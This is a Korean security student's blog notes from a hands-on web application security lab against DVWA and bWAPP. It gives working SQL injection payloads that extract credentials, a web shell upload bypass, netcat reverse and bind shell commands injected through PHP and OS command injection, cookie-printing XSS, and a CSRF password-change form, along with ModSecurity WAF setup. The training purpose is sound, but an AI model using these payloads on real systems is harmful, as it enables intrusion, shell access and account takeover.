정보보안 전문가를 꿈꾸며 작성하는 블로그입니다.

SK 쉴더스 루키즈

[SK 쉴더스] 애플리케이션 보안 7일차

minjoo 2022. 9. 26. 16:58

복습

1. Blind SQL 인젝션

- DB에 대한 정보가 없는 상태에서 SQL문을 조작해서 DB명, Table명, Column명 등을 알아내는 방법

- 에러가 힌트가 되어 오류를 일으키거나, 한글자씩 입력해 확인하는 방식

→ 사람이 일일이 입력하기 힘드므로 자동화된 도구 사용(SQLmap)

 

2. Command Execution

- 공격자는 검색창에 리눅스 명령어를 실행하려고 함

→ Beebox - php 코드 인젝션 실습 예정


1.1 DVWA 실습 - SQL Injection

- 목적 : 모든 사용자의 ID/PW를 알아내는 것

- 조건 : SQLmap 사용 금지

- SQL문 예상 : select firstname, surname from ?? where id '     ';

1단계) 컬럼 개수 알아내기

- 입력 : ' union select 1 # → 동작 x(컬럼개수가 맞지 않음)

- 입력 : ' union select 1,2 # → 동작 o

2단계) DB 이름 알아내기

- 입력 : ' union select database(), version() #

' union select database(), version() # 입력 결과

 

→ DB 이름 : dvwa

3단계) Table 이름 알아내기

- 입력 : ' union select table_name, null from information_schema.tables where table_schema='dvwa' #

→ Table 이름 : guestbook, users

4단계) users 테이블의 column 이름 알아내기

- 입력 : ' union select column_name, null from information_schema.columns where table_name='users' #

5단계) users 테이블에서 user, password 추출

- 입력 : ' union select user, password from dvwa.users #

해시값으로 추출된 결과는 hashes.com에서 복호화 가능

 

1.2 DVWA 실습 - file upload(medium)

- 목적 : b374k-2.8php 파일 업로드

- proxy 도구 활용 (server에서 검증하지 않고, client에서 검증하는 경우 proxy에서 조작 가능)

→ 실습 후 업로드된 웹쉘 모두 삭제

 

1.3 DVWA 실습 - file upload(high)

- strtolower : string을 모두 소문자로 변환하는 함수 → 대소문자 조작 불가

- 확장자 검증 : jpg, jpeg, png만 업로드 가능

- AND 조건으로 100kbytes 이하만 가능

1) b374k-2.8.php → b374k-2.8.png로 확장자 변경

- 업로드 안됨 → 확장자만 제한하고 있는 것이 아님(File Signature도 확인)
2) b374k-2.8.png 파일을 HxD로 열어서 파일 시그니처 png 파일로 변경 (맨 앞에 붙여넣기)

→ 업로드 성공 / 웹 쉘 실행은 안됨(확장자가 png이므로 apache2에서 실행 불가)

3) dvwa의 레벨을 low 변경 후 command injection에서 명령어 사용

- 리눅스 명령어 mv 이용

- ; mv ../../hackable/uploads//b274k-2.8.png ../../hackable/uploads//b274k-2.8.php

4) 웹쉘 실행

192.168.5.128/dvwa/hackable/uploads/b374k-2.8.php url 접속

→ 웹 쉘 정상실행됨

 

2.1 file signature

- 파일의 정체성을 나타내는 부분

- 파일의 맨 앞부분에 특정한 표시를 함 → 운영체제, Application에서 읽어들여서 파일이 어떤 파일인지 확인

- Magic Number라고도 함

 

2.2 HxD.exe (Hex editor : 헥스 편집기)

- PNG : 89 50 4E 47 (0D 0A : 줄바꿈)

- JPG : FF D8 FF E0 → jpg파일은 FF D8로 시작해서 FF D9로 끝남

- EXE : 4D 5A (MZ : Mark Zbicowski) → MZ가 없으면 윈도우에서 파일을 실행할 수 없음

- pptx, docx, xlsx, apk, zip : 50 4B 03 04

 

3. 웹 방화벽 

1) 웹 방화벽으로 차단 가능한 공격(3계층, 4계층 공격)

- SQL Injection

- XSS

- Webshell Upload

- 디렉토리 리스팅

- 임의파일 다운로드 취약점

- 요청 및 응답 값 내 위/변조 취약점

2) 웹 방화벽으로 차단 불가한 공격

- 검색엔진 정보 노출

- 난독화된 웹쉘 등 스크립트 업로드

 

3.1 웹 방화벽 설치

1) Modsecurity 설치

$ sudo apt install libapache2-mod-security2

$ sudo a2enmod security2

$ sudo systemctl restart apache2

$ sudo apt install vim

$ sudo vi /etc/modsecurity/modsecurity.conf

- 변경 (:set nu 입력 줄 번호 표시)

7번 라인) SecRuleEngine DetectionOnly → SecRuleEngine On

187번 라인) SecAuditLogParts ABDEFHIJZ → SecAuditLogParts ABCEFHJKZ

:wq

sudo systemctl restart apache2

2) Modsecurity Rules 다운

$ cd ~

$ sudo wget https://github.com/coreruleset/coreruleset/archive/v3.3.0.tar.gz 

$ sudo tar xvf v3.3.0.tar.gz

$ sudo mkdir /etc/apache2/modsecurity-crs/

$ sudo mv coreruleset-3.3.0/ /etc/apache2/modsecurity-crs/

$ cd /etc/apache2/modsecurity-crs/coreruleset-3.3.0/

$ sudo mv crs-setup.conf.example crs-setup.conf

3) Modsecurity 설정

$ sudo vi /etc/apache2/mods-enabled/security2.conf

- 변경 (:set nu 입력  줄 번호 표시)

12번 라인) IncludeOptional /etc/apache2/modsecurity-crs/coreruleset-3.3.0/crs-setup.conf

13번 라인) IncludeOptional /etc/apache2/modsecurity-crs/coreruleset-3.3.0/rules/*.conf

$ sudo apache2ctl -t    // -t : test

$ sudo systemctl restart apache2    // 아파치 재시작해야 변경 내용 반영됨

4) 확인

- dvwa 접속 - SQL Injection

- 인젝션 구문 삽입 → submit

→ 웹 방화벽이 공격시도를 차단

- SQL 인젝션, XSS, Upload 등 공격 차단됨 (모든 공격을 다 막을 수 있는것은 아님)

 

4.1 beebox 실습 - A1. PHP Code Injection

- message를 클릭하면 test 출력

- URL에서 test 대신 hello를 입력하면 hello 출력

1단계) 리눅스 명령어를 실행시키려면?

- 힌트 : php 명령을 실행하는 함수

- url에 입력

1) ?message = exec('pwd')

2) ?message = shell_exec('whoami')

3) ?message = system('pwd')  → 두번 출력

4) ?message = passthru('ps -ef')

2단계) Kali를 켜고 netcat을 이용해 연결

- 윈도우가 Victim이면 -e cmd.exe

- 리눅스가 Victim이면 -e /bin/sh
attacker(kali) - server  $ nc -l -p 8888

victim(윈도우) - Client  ?message=exec('nc 192.168.5.129 8888 -e /bin/sh')   // kali ip 이용

- kali에서 명령어 입력 → beebox 결과 출력

kali에서 beebox ip 확인

- kali에서 계정 생성시 beebox에서 로그인 가능

- 연결 끊을때는 kali에서 ctrl+C

 

* Reverse Connection

- 방화벽 특성상, 내부망에서 외부망으로 나가는 트래픽은 막지 않음

- 공격자는 악성코드를 보내고 포트를 열고 기다림

- 악성코드의 명령이 실행되면 Victim이 공격자에게 접속

 

4.2 beebox 실습 - OS Command Injection

- Victim(Server) - Beebox : Backdoor

- Attacker(Client) - Kali

- beebox에 ; nc -l -p 7777 -e /bin/sh 

- kali) $ nc 192.168.5.130 7777

→ kali에서 ip addr 명령어로 beebox의 ip주소 확인 가능

→ 실습 종료 후에는 Ctrl+C로 연결 종료

 

4.3 beebox 실습 - A1. SQL Injection(GET/SELECT)

- ID/PW 알아내기

?movie=5 union select 1,login, password,4,5,6,7 from users  → 컬럼 개수 7개를 맞춰줌

→ 하나씩 개수를 늘려가면서 컬럼 개수를 알아낼 수 있음

?movie=11 union select 1,login, password,4,5,6,7 from users  → 1~10은 DB에 있으므로 없는 번호 사용

4.4 beebox 실습 - A3. XSS - Reflected(GET)

- 스크립트를 실행하는 것이 목적

1) Low 

- 입력란에 스크립트 입력 → 실행됨

2) Medium 

- beebox 가상머신 cmd

$ cd /var/www/bWAPP

$ sudo vi xss_get.php

- case '1' : Medium level을 의미 → xss_check_4 사용

- functions_external.php 파일에 보안 수준에 따른 설정이 되어 있음

$ sudo vi functions_external.php    // :set nu 입력해 라인 번호 확인

- 129~138 라인 : xss_check_4는 addslashes()함수를 사용하고 있음

* addslashes() 함수

- ', ", \, Null 앞에 \를 붙여서 Escape 처리

- Escape 처리란, 특수문자가 기능을 하지 못하도록 하는것 - 특수문자 모양 그대로 출력만 됨)

→ 스크립트 코드안에 escape 문자가 포함되지 않으면 실행

- <script>alert(9999)</script>

- <script>alert(document.coolie)</script>    // 쿠키값 출력

* 문자를 출력하려면? →  String.fromCharCode() 함수 이용 : 10진수를 입력하면 ASCII로 변환해주는 함수

- <script>alert(String.fromCharCode(115,104,105,101,108,100,101,114,115))</script>

- 구글에서 ascii to decimal로 검색하면 변환 가능

 

4.5 beebox 실습 - A8. Cross-Site Request Forgery (Change Password)

* CSRF : 스크립트를 활용하는 공격으로 클라이언트에게 주어진 권한으로 웹서버에게 어떤 요청을 보내는 공격

ex) 자동 댓글달기 : 사용자가 게시판 글을 읽기만 했는데 스크립트가 실행되면서 자동으로 댓글이 달리거나 좋아요가 눌러짐

ex) 패스워드 변경 : 사용자의 패스워드를 변경하는 시도 → 로그인이 안되는 문제

1) Low

- 소스보기(f12(개발자도구) - 디버거 또는 마우스 우클릭 - 소스보기)를 눌러서 57~67번 라인 복사 및 수정

<form action="http://192.168.5.130/bWAPP/csrf_1.php" method="GET">
        
  <p><label for="password_new">BTS Fan page</label><br />
  <input type="hidden" id="password_new" name="password_new" value="123456"></p>

  <p><label for="password_conf">Click like it</label><br />
  <input type="hidden" id="password_conf" name="password_conf" value="123456"></p>  

  <button type="submit" name="action" value="change">like it</button>   

</form>

- beebox url 주소 복사, 소스코드 action에 붙여넣음(IP주소 삽입)

위 소스코드를 csrf.html 파일로 저장 후 파일 실행

→ like it 버튼을 클릭하면 계정의 비밀번호가 123456으로 변경됨

* input type을 text로 설정해서 직접 비밀번호 입력해 변경할 수도 있음